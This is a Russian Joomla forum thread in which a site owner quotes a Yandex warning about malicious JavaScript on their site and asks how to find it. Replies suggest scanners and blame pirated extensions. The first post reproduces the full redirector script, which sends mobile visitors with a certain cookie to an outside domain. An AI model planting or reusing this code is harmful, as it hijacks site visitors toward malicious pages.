Вирус на сайте

  • 9 Ответов
  • 411 Просмотров

0 Пользователей и 1 Гость просматривают эту тему.

*

Оффлайн lalalag

Вирус на сайте
« : 08.12.2016, 19:59:12 »
От яндекса пришло письмо:
На Вашем сайте находится скрипт http://teplogarant-komi.ru/cash/js/l.js , содержащий следующий код редиректора:

function get_cookie(name) { var matches = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)" )) return matches ? decodeURIComponent(matches[1]) : ''; } if ( get_cookie ( "visitor" ) ) { if (/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|android|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(navigator.userAgent)) { document.location.href = 'http://oooload.ru/548M?charset=utf-8&keyword='+t; } else { document.write (''); } }

как и где искать вирус этот?

*

Оффлайн voland

  • ********
  • 9334
  • [+]520 / [-]101
  • СКАЙП утерян! Пишите в телеграм @volandku
    • Просмотр профиля
    • webstudio.pro
Re: Вирус на сайте
« Ответ #1 : 08.12.2016, 20:00:38 »
Это карма

*

Оффлайн wishlight

  • ********
  • 3580
  • [+]221 / [-]1
  • skype aqaus.com
    • Просмотр профиля
    • Aqaus
Re: Вирус на сайте
« Ответ #2 : 08.12.2016, 20:07:37 »
Сколько сайтов у вас на хостинге. Какая версия Joomla? Для поиска вредоносных скриптов можете воспользоваться скриптом ai-bolit.

*

Оффлайн draff

  • *******
  • 2739
  • [+]174 / [-]5
  • step by step
    • Просмотр профиля
Re: Вирус на сайте
« Ответ #3 : 08.12.2016, 20:15:36 »
Проверить папку по пути cash/js/l.js
Версия Joomla не 3.6.4 ?

*

Оффлайн flyingspook

Re: Вирус на сайте
« Ответ #4 : 08.12.2016, 20:43:03 »
Разделом ошиблись. Читайте раздел безопасности.

*

Оффлайн arma

Re: Вирус на сайте
« Ответ #5 : 09.12.2016, 11:40:44 »
Посмотрите за что минусы у человека - "Любишь варезы, люби и проблемы" - чего там про версию спрашивать

*

Оффлайн lalalag

Re: Вирус на сайте
« Ответ #6 : 09.12.2016, 16:28:22 »
Проверить папку по пути cash/js/l.js
Версия Joomla не 3.6.4 ?
Папка пустая. файл только через браузер открывается при посещении сайта.
Joomla!, 3.6.4
Посмотрите за что минусы у человека - "Любишь варезы, люби и проблемы" - чего там про версию спрашивать
А теперь копипаст и можете это "мудрое" сообщение в 80% тем вставлять

*

Оффлайн lalalag

Re: Вирус на сайте
« Ответ #7 : 09.12.2016, 16:29:18 »
Сколько сайтов у вас на хостинге. Какая версия Joomla? Для поиска вредоносных скриптов можете воспользоваться скриптом ai-bolit.
Сайт 1.
я проверял скриптом, он ничего не выдал(

*

Оффлайн flyingspook

Re: Вирус на сайте
« Ответ #8 : 10.12.2016, 19:17:09 »
Сайт 1.
я проверял скриптом, он ничего не выдал(
Или ни чего нет или плохо проверяли, другого не дано.
повторюсь
Разделом ошиблись. Читайте раздел безопасности.

*

Оффлайн arma

Re: Вирус на сайте
« Ответ #9 : 11.12.2016, 10:10:18 »
lalalag, зря вы так, вам твердят одно, а вы опять на своём. Последствия может и устраните на время, а причина останется.
« Последнее редактирование: 11.12.2016, 10:21:29 от arma »